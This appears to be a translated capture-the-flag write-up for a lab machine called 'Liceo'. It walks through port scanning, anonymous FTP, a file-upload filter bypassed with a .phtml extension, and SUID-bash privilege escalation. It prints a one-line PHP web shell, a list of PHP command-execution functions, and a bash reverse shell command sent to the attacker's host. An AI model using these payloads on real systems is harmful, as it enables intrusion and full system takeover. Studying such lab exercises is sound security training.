This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Liceo


In this machine we bypass the website's file upload protection and escalate privileges through a misconfigured SUID permission

March 28, 20246 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

> ping -c 1 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.818 ms

--- 192.168.1.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.818/0.818/0.818/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 64, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.149 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │
   2   │ [*] Extracting information...
   3   │
   4   │     [*] IP Address: 192.168.1.149
   5   │     [*] Open ports: 21,22,80
   6   │
   7   │ [*] Ports copied to clipboard
   8   │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> sudo nmap -p21,22,80 -sCV 192.168.1.149 -oN versions

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1000     1000          191 Feb 01 14:29 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.145
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_  256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

FTP

nmap reported that port 21 is open and has an FTP with “Anonymous login allowed”, and inside there is a file called note.txt

> wget ftp://192.168.1.149/note.txt
note.txt                                              100%[=========================================================================================================================>]     191  --.-KB/s    in 0s
2024-03-28 14:19:49 (891 KB/s) - ‘note.txt’ saved [191]

> cat note.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: note.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ Hi Matias, I have left on the web the continuations of today's work,
   2   │ would you mind contiuing in your turn and make sure that the web will be secure?
   3   │ Above all, we dont't want intruders...
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Hola Matias, te he dejado en la web las continuaciones del trabajo de hoy,
¿Te importaría continuar en tu turno y asegurarte de que la web sea segura?
Sobre todo, no queremos intrusos...

From this message we can deduce a possible user called Matias.

HTTP

We start by analyzing the website with whatweb

> whatweb 192.168.1.149
http://192.168.1.149 [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[192.168.1.149], JQuery[3.4.1], Script, Title[Liceo], X-UA-Compatible[IE=edge]

We have an email address: [email protected]

This email address uses the liceo.com domain. We can use this information later to look for subdomains.

If we look at the website in the browser, we don’t see any notable functionality, so we fuzz for subdirectories with gobuster

> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.149 -x php,html,txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.149
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/images               (Status: 301) [Size: 315] [--> http://192.168.1.149/images/]
/index.html           (Status: 200) [Size: 21487]
/.html                (Status: 403) [Size: 278]
/uploads              (Status: 301) [Size: 316] [--> http://192.168.1.149/uploads/]
/upload.php           (Status: 200) [Size: 371]
/css                  (Status: 301) [Size: 312] [--> http://192.168.1.149/css/]
/js                   (Status: 301) [Size: 311] [--> http://192.168.1.149/js/]

2 paths quickly show up that stand out: uploads and upload.php

In upload.php we can upload a file, so we upload a simple PHP file and intercept the request with Burp Suite

We get an error saying files with the php extension can’t be uploaded. PHP scripts can use extensions other than php, so to find out which ones are blocked we’ll use Burp Suite’s Intruder.

We set the extension as a variable and load a payload with all the extensions

> cat Downloads/extensions.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Downloads/extensions.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────
   1   │ php
   2   │ php2
   3   │ php3
   4   │ php4
   5   │ php5
   6   │ php6
   7   │ php7
   8   │ phps
   9   │ phps
  10   │ pht
  11   │ phtm
  12   │ phtml
  13   │ pgif
  14   │ shtml
  15   │ htaccess
  16   │ phar
  17   │ inc
  18   │ hphp
  19   │ ctp
  20   │ module
───────┴──────────────────────────────────────────────────────────────────────────────────────────────

Now we can see the result for the other extensions

In the end, the only blocked one was .php

Now we can run commands

> curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=whoami"
www-data
What code does shell.phtml have that lets us run commands?

The shell.php file has the following code

<?php echo shell_exec($_GET["telepathy"]); ?>

What it basically does is pass everything it receives via GET in the telepathy parameter to the shell_exec function.

shell_exec runs commands on the system but doesn’t print the output; to make it print the output, you have to put echo in front

Without echo

d3bo~> cat test.php
   1   <?php shell_exec("whoami") ?>
d3bo~> php test.php

With echo

d3bo~> cat test.php
   1   <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo

If shell_exec didn’t work or were blocked, other functions could be used. Here are some examples

system()

d3bo~> cat test.php
   1   <?php system("whoami") ?>
d3bo~> php test.php
d3bo

passthru()

d3bo~> cat test.php
   1   <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo

exec()

d3bo~> cat test.php
   1   <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo

popen()

d3bo~> cat test.php
   1   <?php
   2   $handle = popen('whoami', 'r');
   3   $read = fread($handle, 2096);
   4   pclose($handle);
   5   echo $read;
   6   ?>
   7
d3bo~> php test.php
d3bo

Exploitation

To get access to the machine, we listen on port 443

nc -nlvp 443

And we send ourselves the reverse shell

curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=bash -c 'bash -i >& /dev/tcp/192.168.1.145/443 0>&1'"

Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

Privilege escalation

We start the escalation by looking for files with SUID permissions

bash-5.1$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null

....
-rwsr-xr-x 1 root root 47480 Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root root 35192 Feb 21  2022 /usr/bin/umount
-rwsr-xr-x 1 root root 232416 Apr  3  2023 /usr/bin/sudo
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash

Of all the files listed, one stands out: /usr/bin/bash. If bash has SUID permissions, we can run bash with -p (privileged) and get a root bash

bash-5.1$ /usr/bin/bash -p
bash-5.1# whoami
root

Machine completed